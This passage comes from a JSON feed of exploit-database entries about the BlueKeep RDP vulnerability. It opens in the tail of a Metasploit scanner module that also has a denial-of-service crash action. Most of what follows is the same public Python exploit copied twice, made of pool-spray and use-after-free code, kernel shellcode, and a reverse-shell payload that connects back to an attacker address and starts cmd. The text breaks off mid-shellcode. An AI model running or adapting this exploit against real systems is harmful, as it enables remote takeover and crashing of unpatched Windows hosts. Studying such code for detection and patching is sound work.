Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e\n      bt = e.backtrace.join(\"\\n\")\n      vprint_error(\"Unexpected error: #{e.message}\")\n      vprint_line(bt)\n      elog(e)\n    rescue RdpCommunicationError\n      vprint_error('Error communicating RDP protocol.')\n      status = Exploit::CheckCode::Unknown\n    rescue Errno::ECONNRESET\n      vprint_error('Connection reset')\n    rescue StandardError => e\n      bt = e.backtrace.join(\"\\n\")\n      vprint_error(\"Unexpected error: #{e.message}\")\n      vprint_line(bt)\n      elog(e)\n    ensure\n      rdp_disconnect\n    end\n\n    status\n  end\n\n  def check_for_patch\n    begin\n      6.times do\n        _res = rdp_recv\n      end\n    rescue RdpCommunicationError\n      # we don't care\n    end\n\n    # The loop below sends Virtual Channel PDUs (2.2.6.1) that vary in length\n    # The arch governs which of the packets triggers the desired response\n    # which is an MCS Disconnect Provider Ultimatum or a timeout.\n\n    # Disconnect Provider message of a valid size for each platform\n    # has proven to be safe to send as part of the vulnerability check.\n    x86_string = '00000000020000000000000000000000'\n    x64_string = '0000000000000000020000000000000000000000000000000000000000000000'\n\n    if action.name == 'Crash'\n      vprint_status('Sending denial of service payloads')\n      # Length and chars are arbitrary but total length needs to be longer than\n      # 16 for x86 and 32 for x64. Making the payload too long seems to cause\n      # the DoS to fail. Note that sometimes the DoS seems to fail. Increasing\n      # the payload size and sending more of them doesn't seem to improve the\n      # reliability. It *seems* to happen more often on x64, I haven't seen it\n      # fail against x86. Repeated attempts will generally trigger the DoS.\n      x86_string += 'FF' * 1\n      x64_string += 'FF' * 2\n    else\n      vprint_status('Sending patch check payloads')\n    end\n\n    chan_flags = RDPConstants::CHAN_FLAG_FIRST | RDPConstants::CHAN_FLAG_LAST\n    channel_id = [1005].pack('S>')\n    x86_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x86_string].pack('H*')), channel_id)\n\n    x64_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x64_string].pack('H*')), channel_id)\n\n    6.times do\n      rdp_send(x86_packet)\n      rdp_send(x64_packet)\n\n      # A single pass should be sufficient to cause DoS\n      if action.name == 'Crash'\n        sleep(1)\n        rdp_disconnect\n\n        sleep(5)\n        if rdp_reachable\n          print_error(\"Target doesn't appear to have been crashed. Consider retrying.\")\n          return Exploit::CheckCode::Unknown\n        else\n          print_good('Target service appears to have been successfully crashed.')\n          return Exploit::CheckCode::Vulnerable('The target appears to have been crashed by disconnecting from an incorrectly-bound MS_T120 channel.')\n        end\n      end\n\n      # Quick check for the Ultimatum PDU\n      begin\n        res = rdp_recv(-1, 1)\n      rescue EOFError\n        # we don't care\n      end\n      return Exploit::CheckCode::Vulnerable('The target attempted cleanup of the incorrectly-bound MS_T120 channel.') if res&.include?(['0300000902f0802180'].pack('H*'))\n\n      # Slow check for Ultimatum PDU. If it doesn't respond in a timely\n      # manner then the host is likely patched.\n      begin\n        4.times do\n          res = rdp_recv\n          # 0x2180 = MCS Disconnect Provider Ultimatum PDU - 2.2.2.3\n          if res.include?(['0300000902f0802180'].pack('H*'))\n            return Exploit::CheckCode::Vulnerable('The target attempted cleanup of the incorrectly-bound MS_T120 channel.')\n          end\n        end\n      rescue RdpCommunicationError\n        # we don't care\n      end\n    end\n\n    Exploit::CheckCode::Safe\n  end\n\n  def check_rdp_vuln\n    # check if rdp is open\n    is_rdp, version_info = rdp_fingerprint\n    unless is_rdp\n      vprint_error('Could not connect to RDP service.')\n      return Exploit::CheckCode::Unknown\n    end\n    rdp_disconnect\n    rdp_connect\n    is_rdp, server_selected_proto = rdp_check_protocol\n\n    requires_nla = [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include? server_selected_proto\n    product_version = (version_info && version_info[:product_version]) ? version_info[:product_version] : 'N/A'\n    info = \"Detected RDP on #{peer} (Windows version: #{product_version})\"\n\n    service_info = \"Requires NLA: #{(!version_info[:product_version].nil? && requires_nla) ? 'Yes' : 'No'}\"\n    info << \" (#{service_info})\"\n\n    vprint_status(info)\n\n    if requires_nla\n      vprint_status('Server requires NLA (CredSSP) security which mitigates this vulnerability.')\n      return Exploit::CheckCode::Safe\n    end\n\n    chans = [\n      ['cliprdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],\n      ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],\n      ['rdpsnd', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],\n      ['snddbg', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],\n      ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],\n    ]\n\n    success = rdp_negotiate_security(chans, server_selected_proto)\n    return Exploit::CheckCode::Unknown unless success\n\n    rdp_establish_session\n\n    result = check_for_patch\n\n    if result == Exploit::CheckCode::Vulnerable\n      report_goods\n    end\n\n    # Can't determine, but at least we know the service is running\n    result\n  end\n\nend\n",
        "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb",
        "cvss": {
            "score": 10.0,
            "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"
        },
        "vhref": "https://vulners.com/metasploit/MSF:AUXILIARY/SCANNER/RDP/CVE_2019_0708_BLUEKEEP"
    },
    {
        "lastseen": "2019-12-04T14:22:09",
        "bulletinFamily": "exploit",
        "description": "Exploit for windows platform in category remote exploits",
        "modified": "2019-11-19T00:00:00",
        "published": "2019-11-19T00:00:00",
        "id": "1337DAY-ID-33565",
        "href": "https://0day.today/exploit/description/33565",
        "title": "Microsoft Windows 7 (x86) - (BlueKeep) RDP Remote Windows Kernel Use After Free Exploit",
        "type": "zdt",
        "sourceData": "# EDB Note: Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47683.zip\r\n\r\nimport rdp\r\nimport socket\r\nimport binascii\r\nimport time\r\n\r\ndef pool_spray(s, crypter, payload):\r\n\r\n    times = 10000\r\n    count = 0\r\n\r\n    while count < times: \r\n\r\n        count += 1 \r\n        #print('time through %d' % count)\r\n\r\n        try: \r\n\r\n            s.sendall(rdp.write_virtual_channel(crypter, 7, 1005, payload))\r\n\r\n        except ConnectionResetError:\r\n\r\n            print('ConnectionResetError pool_spray Aborting')\r\n\r\n            quit()\r\n\r\ndef main():\r\n\r\n    # change to your target\r\n    host = '192.168.0.46'\r\n    port = 3389\r\n\r\n    times = 4000\r\n    count = 0\r\n\r\n    target = (host, port)\r\n\r\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n    s.connect(target)\r\n\r\n    crypter = rdp.connect(s)\r\n\r\n    # this address was choosen for the pool spray. it could be be\r\n    # modified for potentially higher success rates.\r\n    # in my testing against the win7 VM it is around 80% success\r\n    # 0x874ff028\r\n    shellcode_address = b'\\x28\\xf0\\x4f\\x87'\r\n\r\n    # replace buf with your shellcode\r\n    buf =  b\"\"\r\n    buf += b\"\\xfc\\xe8\\x82\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xc0\\x64\\x8b\"\r\n    buf += b\"\\x50\\x30\\x8b\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7\"\r\n    buf += b\"\\x4a\\x26\\x31\\xff\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf\"\r\n    buf += b\"\\x0d\\x01\\xc7\\xe2\\xf2\\x52\\x57\\x8b\\x52\\x10\\x8b\\x4a\\x3c\"\r\n    buf += b\"\\x8b\\x4c\\x11\\x78\\xe3\\x48\\x01\\xd1\\x51\\x8b\\x59\\x20\\x01\"\r\n    buf += b\"\\xd3\\x8b\\x49\\x18\\xe3\\x3a\\x49\\x8b\\x34\\x8b\\x01\\xd6\\x31\"\r\n    buf += b\"\\xff\\xac\\xc1\\xcf\\x0d\\x01\\xc7\\x38\\xe0\\x75\\xf6\\x03\\x7d\"\r\n    buf += b\"\\xf8\\x3b\\x7d\\x24\\x75\\xe4\\x58\\x8b\\x58\\x24\\x01\\xd3\\x66\"\r\n    buf += b\"\\x8b\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\\x8b\\x04\\x8b\\x01\\xd0\"\r\n    buf += b\"\\x89\\x44\\x24\\x24\\x5b\\x5b\\x61\\x59\\x5a\\x51\\xff\\xe0\\x5f\"\r\n    buf += b\"\\x5f\\x5a\\x8b\\x12\\xeb\\x8d\\x5d\\x68\\x33\\x32\\x00\\x00\\x68\"\r\n    buf += b\"\\x77\\x73\\x32\\x5f\\x54\\x68\\x4c\\x77\\x26\\x07\\xff\\xd5\\xb8\"\r\n    buf += b\"\\x90\\x01\\x00\\x00\\x29\\xc4\\x54\\x50\\x68\\x29\\x80\\x6b\\x00\"\r\n    buf += b\"\\xff\\xd5\\x50\\x50\\x50\\x50\\x40\\x50\\x40\\x50\\x68\\xea\\x0f\"\r\n    buf += b\"\\xdf\\xe0\\xff\\xd5\\x97\\x6a\\x05\\x68\\xc0\\xa8\\x00\\x22\\x68\"\r\n    buf += b\"\\x02\\x00\\x11\\x5c\\x89\\xe6\\x6a\\x10\\x56\\x57\\x68\\x99\\xa5\"\r\n    buf += b\"\\x74\\x61\\xff\\xd5\\x85\\xc0\\x74\\x0c\\xff\\x4e\\x08\\x75\\xec\"\r\n    buf += b\"\\x68\\xf0\\xb5\\xa2\\x56\\xff\\xd5\\x68\\x63\\x6d\\x64\\x00\\x89\"\r\n    buf += b\"\\xe3\\x57\\x57\\x57\\x31\\xf6\\x6a\\x12\\x59\\x56\\xe2\\xfd\\x66\"\r\n    buf += b\"\\xc7\\x44\\x24\\x3c\\x01\\x01\\x8d\\x44\\x24\\x10\\xc6\\x00\\x44\"\r\n    buf += b\"\\x54\\x50\\x56\\x56\\x56\\x46\\x56\\x4e\\x56\\x56\\x53\\x56\\x68\"\r\n    buf += b\"\\x79\\xcc\\x3f\\x86\\xff\\xd5\\x89\\xe0\\x4e\\x56\\x46\\xff\\x30\"\r\n    buf += b\"\\x68\\x08\\x87\\x1d\\x60\\xff\\xd5\\xbb\\xf0\\xb5\\xa2\\x56\\x68\"\r\n    buf += b\"\\xa6\\x95\\xbd\\x9d\\xff\\xd5\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0\"\r\n    buf += b\"\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x53\\xff\\xd5\"\r\n\r\n\r\n    # bluekeep_kshellcode_x86.asm\r\n    # ring 0 to ring 3 shellcode\r\n    shellcode = b\"\"\r\n    shellcode += b\"\\x60\\xe8\\x00\\x00\\x00\\x00\\x5b\\xe8\\x26\\x00\\x00\\x00\"\r\n    shellcode += b\"\\xb9\\x76\\x01\\x00\\x00\\x0f\\x32\\x8d\\x7b\\x3c\\x39\\xf8\"\r\n    shellcode += b\"\\x74\\x11\\x39\\x45\\x00\\x74\\x06\\x89\\x45\\x00\\x89\\x55\"\r\n    shellcode += b\"\\x08\\x89\\xf8\\x31\\xd2\\x0f\\x30\\x61\\xf4\\xeb\\xfd\\xc2\"\r\n    shellcode += b\"\\x24\\x00\\x8d\\xab\\x00\\x10\\x00\\x00\\xc1\\xed\\x0c\\xc1\"\r\n    shellcode += b\"\\xe5\\x0c\\x83\\xed\\x50\\xc3\\xb9\\x23\\x00\\x00\\x00\\x6a\"\r\n    shellcode += b\"\\x30\\x0f\\xa1\\x8e\\xd9\\x8e\\xc1\\x64\\x8b\\x0d\\x40\\x00\"\r\n    shellcode += b\"\\x00\\x00\\x8b\\x61\\x04\\x51\\x9c\\x60\\xe8\\x00\\x00\\x00\"\r\n    shellcode += b\"\\x00\\x5b\\xe8\\xcb\\xff\\xff\\xff\\x8b\\x45\\x00\\x83\\xc0\"\r\n    shellcode += b\"\\x17\\x89\\x44\\x24\\x24\\x31\\xc0\\x99\\x42\\xf0\\x0f\\xb0\"\r\n    shellcode += b\"\\x55\\x08\\x75\\x12\\xb9\\x76\\x01\\x00\\x00\\x99\\x8b\\x45\"\r\n    shellcode += b\"\\x00\\x0f\\x30\\xfb\\xe8\\x04\\x00\\x00\\x00\\xfa\\x61\\x9d\"\r\n    shellcode += b\"\\xc3\\x8b\\x45\\x00\\xc1\\xe8\\x0c\\xc1\\xe0\\x0c\\x2d\\x00\"\r\n    shellcode += b\"\\x10\\x00\\x00\\x66\\x81\\x38\\x4d\\x5a\\x75\\xf4\\x89\\x45\"\r\n    shellcode += b\"\\x04\\xb8\\x78\\x7c\\xf4\\xdb\\xe8\\xd3\\x00\\x00\\x00\\x97\"\r\n    shellcode += b\"\\xb8\\x3f\\x5f\\x64\\x77\\x57\\xe8\\xc7\\x00\\x00\\x00\\x29\"\r\n    shellcode += b\"\\xf8\\x89\\xc1\\x3d\\x70\\x01\\x00\\x00\\x75\\x03\\x83\\xc0\"\r\n    shellcode += b\"\\x08\\x8d\\x58\\x1c\\x8d\\x34\\x1f\\x64\\xa1\\x24\\x01\\x00\"\r\n    shellcode += b\"\\x00\\x8b\\x36\\x89\\xf2\\x29\\xc2\\x81\\xfa\\x00\\x04\\x00\"\r\n    shellcode += b\"\\x00\\x77\\xf2\\x52\\xb8\\xe1\\x14\\x01\\x17\\xe8\\x9b\\x00\"\r\n    shellcode += b\"\\x00\\x00\\x8b\\x40\\x0a\\x8d\\x50\\x04\\x8d\\x34\\x0f\\xe8\"\r\n    shellcode += b\"\\xcb\\x00\\x00\\x00\\x3d\\x5a\\x6a\\xfa\\xc1\\x74\\x0e\\x3d\"\r\n    shellcode += b\"\\xd8\\x83\\xe0\\x3e\\x74\\x07\\x8b\\x3c\\x17\\x29\\xd7\\xeb\"\r\n    shellcode += b\"\\xe3\\x89\\x7d\\x0c\\x8d\\x1c\\x1f\\x8d\\x75\\x10\\x5f\\x8b\"\r\n    shellcode += b\"\\x5b\\x04\\xb8\\x3e\\x4c\\xf8\\xce\\xe8\\x61\\x00\\x00\\x00\"\r\n    shellcode += b\"\\x8b\\x40\\x0a\\x3c\\xa0\\x77\\x02\\x2c\\x08\\x29\\xf8\\x83\"\r\n    shellcode += b\"\\x7c\\x03\\xfc\\x00\\x74\\xe1\\x31\\xc0\\x55\\x6a\\x01\\x55\"\r\n    shellcode += b\"\\x50\\xe8\\x00\\x00\\x00\\x00\\x81\\x04\\x24\\x92\\x00\\x00\"\r\n    shellcode += b\"\\x00\\x50\\x53\\x29\\x3c\\x24\\x56\\xb8\\xc4\\x5c\\x19\\x6d\"\r\n    shellcode += b\"\\xe8\\x25\\x00\\x00\\x00\\x31\\xc0\\x50\\x50\\x50\\x56\\xb8\"\r\n    shellcode += b\"\\x34\\x46\\xcc\\xaf\\xe8\\x15\\x00\\x00\\x00\\x85\\xc0\\x74\"\r\n    shellcode += b\"\\xaa\\x8b\\x45\\x1c\\x80\\x78\\x0e\\x01\\x74\\x07\\x89\\x00\"\r\n    shellcode += b\"\\x89\\x40\\x04\\xeb\\x9a\\xc3\\xe8\\x02\\x00\\x00\\x00\\xff\"\r\n    shellcode += b\"\\xe0\\x60\\x8b\\x6d\\x04\\x97\\x8b\\x45\\x3c\\x8b\\x54\\x05\"\r\n    shellcode += b\"\\x78\\x01\\xea\\x8b\\x4a\\x18\\x8b\\x5a\\x20\\x01\\xeb\\x49\"\r\n    shellcode += b\"\\x8b\\x34\\x8b\\x01\\xee\\xe8\\x1d\\x00\\x00\\x00\\x39\\xf8\"\r\n    shellcode += b\"\\x75\\xf1\\x8b\\x5a\\x24\\x01\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\"\r\n    shellcode += b\"\\x5a\\x1c\\x01\\xeb\\x8b\\x04\\x8b\\x01\\xe8\\x89\\x44\\x24\"\r\n    shellcode += b\"\\x1c\\x61\\xc3\\x52\\x31\\xc0\\x99\\xac\\xc1\\xca\\x0d\\x01\"\r\n    shellcode += b\"\\xc2\\x85\\xc0\\x75\\xf6\\x92\\x5a\\xc3\\x58\\x89\\x44\\x24\"\r\n    shellcode += b\"\\x10\\x58\\x59\\x58\\x5a\\x60\\x52\\x51\\x8b\\x28\\x31\\xc0\"\r\n    shellcode += b\"\\x64\\xa2\\x24\\x00\\x00\\x00\\x99\\xb0\\x40\\x50\\xc1\\xe0\"\r\n    shellcode += b\"\\x06\\x50\\x54\\x52\\x89\\x11\\x51\\x4a\\x52\\xb8\\xea\\x99\"\r\n    shellcode += b\"\\x6e\\x57\\xe8\\x7b\\xff\\xff\\xff\\x85\\xc0\\x75\\x4f\\x58\"\r\n    shellcode += b\"\\x8b\\x38\\xe8\\x00\\x00\\x00\\x00\\x5e\\x83\\xc6\\x55\\xb9\"\r\n    shellcode += b\"\\x00\\x04\\x00\\x00\\xf3\\xa4\\x8b\\x45\\x0c\\x50\\xb8\\x48\"\r\n    shellcode += b\"\\xb8\\x18\\xb8\\xe8\\x56\\xff\\xff\\xff\\x8b\\x40\\x0c\\x8b\"\r\n    shellcode += b\"\\x40\\x14\\x8b\\x00\\x66\\x83\\x78\\x24\\x18\\x75\\xf7\\x8b\"\r\n    shellcode += b\"\\x50\\x28\\x81\\x7a\\x0c\\x33\\x00\\x32\\x00\\x75\\xeb\\x8b\"\r\n    shellcode += b\"\\x58\\x10\\x89\\x5d\\x04\\xb8\\x5e\\x51\\x5e\\x83\\xe8\\x32\"\r\n    shellcode += b\"\\xff\\xff\\xff\\x59\\x89\\x01\\x31\\xc0\\x88\\x45\\x08\\x40\"\r\n    shellcode += b\"\\x64\\xa2\\x24\\x00\\x00\\x00\\x61\\xc3\\x5a\\x58\\x58\\x59\"\r\n    shellcode += b\"\\x51\\x51\\x51\\xe8\\x00\\x00\\x00\\x00\\x83\\x04\\x24\\x09\"\r\n    shellcode += b\"\\x51\\x51\\x52\\xff\\xe0\\x31\\xc0\"\r\n\r\n    shellcode += buf\r\n\r\n    print('shellcode len: %d' % len(shellcode))\r\n\r\n    payload_size = 1600\r\n    payload = b'\\x2c\\xf0\\x4f\\x87' + shellcode\r\n    payload = payload + b'\\x5a' * (payload_size - len(payload))\r\n\r\n\r\n    print('[+] spraying pool')\r\n    pool_spray(s, crypter, payload)\r\n\r\n    fake_obj_size = 168\r\n    call_offset = 108\r\n    fake_obj = b'\\x00'*call_offset + shellcode_address\r\n    fake_obj =  fake_obj + b'\\x00' * (fake_obj_size - len(fake_obj)) \r\n\r\n    time.sleep(.5)\r\n    print('[+] sending free')\r\n    s.sendall(rdp.free_32(crypter))\r\n    time.sleep(.15)\r\n\r\n    print('[+] allocating fake objects')\r\n    while count < times:\r\n        \r\n        count += 1 \r\n        #print('time through %d' % count)\r\n\r\n        try: \r\n\r\n            s.sendall(rdp.write_virtual_channel(crypter, 7, 1005, fake_obj))\r\n\r\n        except ConnectionResetError:\r\n\r\n            s.close()\r\n\r\n    s.close()\r\n\r\n\r\nif __name__== \"__main__\":\r\n    main()\n\n#  0day.today [2019-12-04]  #",
        "cvss": {
            "score": 10.0,
            "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"
        },
        "sourceHref": "https://0day.today/exploit/33565",
        "vhref": "https://vulners.com/zdt/1337DAY-ID-33565"
    },
    {
        "lastseen": "2019-11-19T15:48:40",
        "bulletinFamily": "exploit",
        "description": "",
        "modified": "2019-11-19T00:00:00",
        "published": "2019-11-19T00:00:00",
        "id": "EDB-ID:47683",
        "href": "https://www.exploit-db.com/exploits/47683",
        "type": "exploitdb",
        "title": "Microsoft Windows 7 (x86) - &#039;BlueKeep&#039; Remote Desktop Protocol (RDP) Remote Windows Kernel Use After Free",
        "sourceData": "# EDB Note: Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47683.zip\r\n\r\nimport rdp\r\nimport socket\r\nimport binascii\r\nimport time\r\n\r\ndef pool_spray(s, crypter, payload):\r\n\r\n    times = 10000\r\n    count = 0\r\n\r\n    while count < times: \r\n\r\n        count += 1 \r\n        #print('time through %d' % count)\r\n\r\n        try: \r\n\r\n            s.sendall(rdp.write_virtual_channel(crypter, 7, 1005, payload))\r\n\r\n        except ConnectionResetError:\r\n\r\n            print('ConnectionResetError pool_spray Aborting')\r\n\r\n            quit()\r\n\r\ndef main():\r\n\r\n    # change to your target\r\n    host = '192.168.0.46'\r\n    port = 3389\r\n\r\n    times = 4000\r\n    count = 0\r\n\r\n    target = (host, port)\r\n\r\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n    s.connect(target)\r\n\r\n    crypter = rdp.connect(s)\r\n\r\n    # this address was choosen for the pool spray. it could be be\r\n    # modified for potentially higher success rates.\r\n    # in my testing against the win7 VM it is around 80% success\r\n    # 0x874ff028\r\n    shellcode_address = b'\\x28\\xf0\\x4f\\x87'\r\n\r\n    # replace buf with your shellcode\r\n    buf =  b\"\"\r\n    buf += b\"\\xfc\\xe8\\x82\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xc0\\x64\\x8b\"\r\n    buf += b\"\\x50\\x30\\x8b\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7\"\r\n    buf += b\"\\x4a\\x26\\x31\\xff\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf\"\r\n    buf += b\"\\x0d\\x01\\xc7\\xe2\\xf2\\x52\\x57\\x8b\\x52\\x10\\x8b\\x4a\\x3c\"\r\n    buf += b\"\\x8b\\x4c\\x11\\x78\\xe3\\x48\\x01\\xd1\\x51\\x8b\\x59\\x20\\x01\"\r\n    buf += b\"\\xd3\\x8b\\x49\\x18\\xe3\\x3a\\x49\\x8b\\x34\\x8b\\x01\\xd6\\x31\"\r\n    buf += b\"\\xff\\xac\\xc1\\xcf\\x0d\\x01\\xc7\\x38\\xe0\\x75\\xf6\\x03\\x7d\"\r\n    buf += b\"\\xf8\\x3b\\x7d\\x24\\x75\\xe4\\x58\\x8b\\x58\\x24\\x01\\xd3\\x66\"\r\n    buf += b\"\\x8b\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\\x8b\\x04\\x8b\\x01\\xd0\"\r\n    buf += b\"\\x89\\x44\\x24\\x24\\x5b\\x5b\\x61\\x59\\x5a\\x51\\xff\\xe0\\x5f\"\r\n    buf += b\"\\x5f\\x5a\\x8b\\x12\\xeb\\x8d\\x5d\\x68\\x33\\x32\\x00\\x00\\x68\"\r\n    buf += b\"\\x77\\x73\\x32\\x5f\\x54\\x68\\x4c\\x77\\x26\\x07\\xff\\xd5\\xb8\"\r\n    buf += b\"\\x90\\x01\\x00\\x00\\x29\\xc4\\x54\\x50\\x68\\x29\\x80\\x6b\\x00\"\r\n    buf += b\"\\xff\\xd5\\x50\\x50\\x50\\x50\\x40\\x50\\x40\\x50\\x68\\xea\\x0f\"\r\n    buf += b\"\\xdf\\xe0\\xff\\xd5\\x97\\x6a\\x05\\x68\\xc0\\xa8\\x00\\x22\\x68\"\r\n    buf += b\"\\x02\\x00\\x11\\x5c\\x89\\xe6\\x6a\\x10\\x56\\x57\\x68\\x99\\xa5\"\r\n    buf += b\"\\x74\\x61\\xff\\xd5\\x85\\xc0\\x74\\x0c\\xff\\x4e\\x08\\x75\\xec\"\r\n    buf += b\"\\x68\\xf0\\xb5\\xa2\\x56\\xff\\xd5\\x68\\x63\\x6d\\x64\\x00\\x89\"\r\n    buf += b\"\\xe3\\x57\\x57\\x57\\x31\\xf6\\x6a\\x12\\x59\\x56\\xe2\\xfd\\x66\"\r\n    buf += b\"\\xc7\\x44\\x24\\x3c\\x01\\x01\\x8d\\x44\\x24\\x10\\xc6\\x00\\x44\"\r\n    buf += b\"\\x54\\x50\\x56\\x56\\x56\\x46\\x56\\x4e\\x56\\x56\\x53\\x56\\x68\"\r\n    buf += b\"\\x79\\xcc\\x3f\\x86\\xff\\xd5\\x89\\xe0\\x4e\\x56\\x46\\xff\\x30\"\r\n    buf += b\"\\x68\\x08\\x87\\x1d\\x60\\xff\\xd5\\xbb\\xf0\\xb5\\xa2\\x56\\x68\"\r\n    buf += b\"\\xa6\\x95\\xbd\\x9d\\xff\\xd5\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0\"\r\n    buf += b\"\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x53\\xff\\xd5\"\r\n\r\n\r\n    # bluekeep_kshellcode_x86.asm\r\n    # ring 0 to ring 3 shellcode\r\n    shellcode = b\"\"\r\n    shellcode += b\"\\x60\\xe8\\x00\\x00\\x00\\x00\\x5b\\xe8\\x26\\x00\\x00\\x00\"\r\n    shellcode += b\"\\xb9\\x76\\x01\\x00\\x00\\x0f\\x32\\x8d\\x7b\\x3c\\x39\\xf8\"\r\n    shellcode += b\"\\x74\\x11\\x39\\x45\\x00\\x74\\x06\\x89\\x45\\x00\\x89\\x55\"\r\n    shellcode += b\"\\x08\\x89\\xf8\\x31\\xd2\\x0f\\x30\\x61\\xf4\\xeb\\xfd\\xc2\"\r\n    shellcode += b\"\\x24\\x00\\x8d\\xab\\x00\\x10\\x00\\x00\\xc1\\xed\\x0c\\xc1\"\r\n    shellcode += b\"\\xe5\\x0c\\x83\\xed\\x50\\xc3\\xb9\\x23\\x00\\x00\\x00\\x6a\"\r\n    shellcode += b\"\\x30\\x0f\\xa1\\x8e\\xd9\\x8e\\xc1\\x64\\x8b\\x0d\\x40\\x00\"\r\n    shellcode += b\"\\x00\\x00\\x8b\\x61\\x04\\x51\\x9c\\x60\\xe8\\x00\\x00\\x00\"\r\n    shellcode += b\"\\x00\\x5b\\xe8\\xcb\\xff\\xff\\xff\\x8b\\x45\\x00\\x83\\xc0\"\r\n    shellcode += b\"\\x17\\x89\\x44\\x24\\x24\\x31\\xc0\\x99\\x42\\xf0\\x0f\\xb0\"\r\n    shellcode += b\"\\x55\\x08\\x75\\x12\\xb9\\x76\\x01\\x00\\x00\\x99\\x8b\\x45\"\r\n    shellcode += b\"\\x00\\x0f\\x30\\xfb\\xe8\\x04\\x00\\x00\\x00\\xfa\\x61\\x9d\"\r\n    shellcode += b\"\\xc3\\x8b\\x45\\x00\\xc1\\xe8\\x0c\\xc1\\xe0\\x0c\\x2d\\x00\"\r\n    shellcode += b\"\\x10\\x00\\x00\\x66\\x81\\x38\\x4d\\x5a\\x75\\xf4\\x89\\x45\"\r\n    shellcode += b\"\\x04\\xb8\\x78\\x7c\\xf4\\xdb\\xe8\\xd3\\x00\\x00\\x00\\x97\"\r\n    shellcode += b\"\\xb8\\x3f\\x5f\\x64\\x77\\x57\\xe8\\xc7\\x00\\x00\\x00\\x29\"\r\n    shellcode += b\"\\xf8\\x89\\xc1\\x3d\\x70\\x01\\x00\\x00\\x75\\x03\\x83\\xc0\"\r\n    shellcode += b\"\\x08\\x8d\\x58\\x1c\\x8d\\x34\\x1f\\x64\\xa1\\x24\\x01\\x00\"\r\n    shellcode += b\"\\x00\\x8b\\x36\\x89\\xf2\\x29\\xc2\\x81\\xfa\\x00\\x04\\x00\"\r\n    shellcode += b\"\\x00\\x77\\xf2\\x52\\xb8\\xe1\\x14\\x01\\x17\\xe8\\x9b\\x00\"\r\n    shellcode += b\"\\x00\\x00\\x8b\\x40\\x0a\\x8d\\x50\\x04\\x8d\\x34\\x0f\\xe8\"\r\n    shellcode += b\"\\xcb\\x00\\x00\\x00\\x3d\\x5a\\x6a\\xfa\\xc1\\x74\\x0e\\x3d\"\r\n    shellcode += b\"\\xd8\\x83\\xe0\\x3e\\x74\\x07\\x8b\\x3c\\x17\\x29\\xd7\\xeb\"\r\n    shellcode += b\"\\xe3\\x89\\x7d\\x0c\\x8d\\x1c\\x1f\\x8d\\x75\\x10\\x5f\\x8b\"\r\n    shellcode += b\"\\x5b\\x04\\xb8\\x3e\\x4c\\xf8\\xce\\xe8\\x61\\x00\\x00\\x00\"\r\n    shellcode += b\"\\x8b\\x40\\x0a\\x3c\\xa0\\x77\\x02\\x2c\\x08\\x29\\xf8\\x83\"\r\n    shellcode += b\"\\x7c\\x03\\xfc\\x00\\x74\\xe1\\x31\\xc0\\x55\\x6a\\x01\\x55\"\r\n    shellcode += b\"\\x50\\xe8\\x00\\x00\\x00\\x00\\x81\\x04\\x24\\x92\\x00\\x00\"\r\n    shellcode += b\"\\x00\\x50\\x53\\x29\\x3c\\x24\\x56\\xb8\\xc4\\x5c\\x19\\x6d\"\r\n    shellcode += b\"\\xe8\\x25\\x00\\x00\\x00\\x31\\xc0\\x50\\x50\\x50\\x56\\xb8\"\r\n    shellcode += b\"\\x34\\x46\\xcc\\xaf\\xe8\\x15\\x00\\x00\\x00\\x85\\xc0\\x74\"\r\n    shellcode += b\"\\xaa\\x8b\\x45\\x1c\\x80\\x78\\x0e\\x01\\x74\\x07\\x89\\x00\"\r\n    shellcode += b\"\\x89\\x40\\x04\\xeb\\x9a\\xc3\\xe8\\x02\\x00\\x00\\x00\\xff\"\r\n    shellcode += b\"\\xe0\\x60\\x8b\\x6d\\x04\\x97\\x8b\\x45\\x3c\\x8b\\x54\\x05\"\r\n    shellcode += b\"\\x78\\x01\\xea\\x8b\\x4a\\x18\\x8b\\x5a\\x20\\x01\\xeb\\x49\"\r\n    shellcode += b\"\\x8b\\x34\\x8b\\x01\\xee\\xe8\\x1d\\x00\\x00\\x00\\x39\\xf8\"\r\n    shellcode += b\"\\x75\\xf1\\x8b\\x5a\\x24\\x01\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\"\r\n    shellcode += b\"\\x5a\\x1c\\x01\\xeb\\x8b\\x04\\x8b\\x01\\xe8\\x89\\x44\\x24\"\r\n    shellcode += 